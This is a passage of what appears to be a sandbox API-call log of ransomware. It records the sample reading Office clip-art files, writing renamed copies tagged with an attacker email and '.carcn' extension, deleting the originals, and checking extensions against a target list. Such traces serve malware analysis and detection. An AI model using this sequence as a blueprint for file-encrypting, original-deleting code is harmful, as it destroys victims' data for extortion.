out: lpNewFilePointer=0x0) returned 1 [0297.237] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0297.238] GetLastError () returned 0x0 [0297.238] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1678, lpOverlapped=0x0) returned 1 [0297.239] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1680, lpOverlapped=0x0) returned 1 [0297.244] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.244] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.244] SetEndOfFile (hFile=0x340) returned 1 [0297.245] CloseHandle (hObject=0x340) returned 1 [0297.245] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.245] SetEndOfFile (hFile=0x364) returned 1 [0297.246] CloseHandle (hObject=0x364) returned 1 [0297.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0297.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.247] lstrlenW (lpString=".doc") returned 4 [0297.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.247] lstrlenW (lpString=".docx") returned 5 [0297.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.247] lstrlenW (lpString=".pdf") returned 4 [0297.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.247] lstrlenW (lpString=".xls") returned 4 [0297.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.247] lstrlenW (lpString=".xlsx") returned 5 [0297.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.247] lstrlenW (lpString=".ppt") returned 4 [0297.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.247] lstrlenW (lpString=".zip") returned 4 [0297.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.247] lstrlenW (lpString=".rar") returned 4 [0297.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.247] lstrlenW (lpString=".bz2") returned 4 [0297.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.247] lstrlenW (lpString=".7z") returned 3 [0297.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.247] lstrlenW (lpString=".dbf") returned 4 [0297.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.248] lstrlenW (lpString=".1cd") returned 4 [0297.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.248] lstrlenW (lpString=".jpg") returned 4 [0297.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.248] lstrlenW (lpString=".doc") returned 4 [0297.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString=".docx") returned 5 [0297.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.248] lstrlenW (lpString=".pdf") returned 4 [0297.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString=".xls") returned 4 [0297.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.248] lstrlenW (lpString=".xlsx") returned 5 [0297.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.248] lstrlenW (lpString=".ppt") returned 4 [0297.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.248] lstrlenW (lpString=".zip") returned 4 [0297.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.248] lstrlenW (lpString=".rar") returned 4 [0297.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString=".bz2") returned 4 [0297.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.248] lstrlenW (lpString=".7z") returned 3 [0297.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.249] lstrlenW (lpString=".dbf") returned 4 [0297.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.249] lstrlenW (lpString=".1cd") returned 4 [0297.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0297.249] lstrlenW (lpString=".jpg") returned 4 [0297.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.249] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.249] lstrlenW (lpString="BL00267_.WMF") returned 12 [0297.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.249] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2644) returned 1 [0297.249] CloseHandle (hObject=0x364) returned 1 [0297.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0297.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.250] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.250] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0297.251] GetLastError () returned 0x0 [0297.251] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xa54, lpOverlapped=0x0) returned 1 [0297.982] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xa60, lpOverlapped=0x0) returned 1 [0297.983] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.983] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.983] SetEndOfFile (hFile=0x340) returned 1 [0297.983] CloseHandle (hObject=0x340) returned 1 [0297.983] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.983] SetEndOfFile (hFile=0x364) returned 1 [0297.984] CloseHandle (hObject=0x364) returned 1 [0297.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0297.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.985] lstrlenW (lpString=".doc") returned 4 [0297.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.985] lstrlenW (lpString=".docx") returned 5 [0297.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.985] lstrlenW (lpString=".pdf") returned 4 [0297.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString=".xls") returned 4 [0297.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.986] lstrlenW (lpString=".xlsx") returned 5 [0297.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.986] lstrlenW (lpString=".ppt") returned 4 [0297.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.986] lstrlenW (lpString=".zip") returned 4 [0297.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.986] lstrlenW (lpString=".rar") returned 4 [0297.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString=".bz2") returned 4 [0297.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString=".7z") returned 3 [0297.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.986] lstrlenW (lpString=".dbf") returned 4 [0297.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.986] lstrlenW (lpString=".1cd") returned 4 [0297.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.986] lstrlenW (lpString=".jpg") returned 4 [0297.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.986] lstrlenW (lpString=".doc") returned 4 [0297.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString=".docx") returned 5 [0297.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.987] lstrlenW (lpString=".pdf") returned 4 [0297.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString=".xls") returned 4 [0297.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.987] lstrlenW (lpString=".xlsx") returned 5 [0297.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.987] lstrlenW (lpString=".ppt") returned 4 [0297.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.987] lstrlenW (lpString=".zip") returned 4 [0297.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.987] lstrlenW (lpString=".rar") returned 4 [0297.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString=".bz2") returned 4 [0297.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString=".7z") returned 3 [0297.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.987] lstrlenW (lpString=".dbf") returned 4 [0297.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.987] lstrlenW (lpString=".1cd") returned 4 [0297.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0297.987] lstrlenW (lpString=".jpg") returned 4 [0297.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.988] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.988] lstrlenW (lpString="BL00648_.WMF") returned 12 [0297.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.988] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11500) returned 1 [0297.988] CloseHandle (hObject=0x364) returned 1 [0297.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0297.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.989] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.989] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0297.989] GetLastError () returned 0x0 [0297.990] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2cec, lpOverlapped=0x0) returned 1 [0297.991] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0297.992] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.992] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.993] SetEndOfFile (hFile=0x340) returned 1 [0297.993] CloseHandle (hObject=0x340) returned 1 [0297.993] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.993] SetEndOfFile (hFile=0x364) returned 1 [0297.994] CloseHandle (hObject=0x364) returned 1 [0297.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0297.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.995] lstrlenW (lpString=".doc") returned 4 [0297.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.995] lstrlenW (lpString=".docx") returned 5 [0297.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.995] lstrlenW (lpString=".pdf") returned 4 [0297.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.995] lstrlenW (lpString=".xls") returned 4 [0297.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.995] lstrlenW (lpString=".xlsx") returned 5 [0297.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.995] lstrlenW (lpString=".ppt") returned 4 [0297.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.995] lstrlenW (lpString=".zip") returned 4 [0297.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.995] lstrlenW (lpString=".rar") returned 4 [0297.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.995] lstrlenW (lpString=".bz2") returned 4 [0297.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.995] lstrlenW (lpString=".7z") returned 3 [0297.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.995] lstrlenW (lpString=".dbf") returned 4 [0297.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.996] lstrlenW (lpString=".1cd") returned 4 [0297.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.996] lstrlenW (lpString=".jpg") returned 4 [0297.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.996] lstrlenW (lpString=".doc") returned 4 [0297.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString=".docx") returned 5 [0297.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.996] lstrlenW (lpString=".pdf") returned 4 [0297.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString=".xls") returned 4 [0297.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.996] lstrlenW (lpString=".xlsx") returned 5 [0297.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.996] lstrlenW (lpString=".ppt") returned 4 [0297.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.996] lstrlenW (lpString=".zip") returned 4 [0297.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.996] lstrlenW (lpString=".rar") returned 4 [0297.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString=".bz2") returned 4 [0297.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.996] lstrlenW (lpString=".7z") returned 3 [0297.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.997] lstrlenW (lpString=".dbf") returned 4 [0297.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.997] lstrlenW (lpString=".1cd") returned 4 [0297.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0297.997] lstrlenW (lpString=".jpg") returned 4 [0297.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.997] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.997] lstrlenW (lpString="BL00921_.WMF") returned 12 [0297.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.997] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4408) returned 1 [0297.997] CloseHandle (hObject=0x364) returned 1 [0297.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0297.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.998] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.998] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 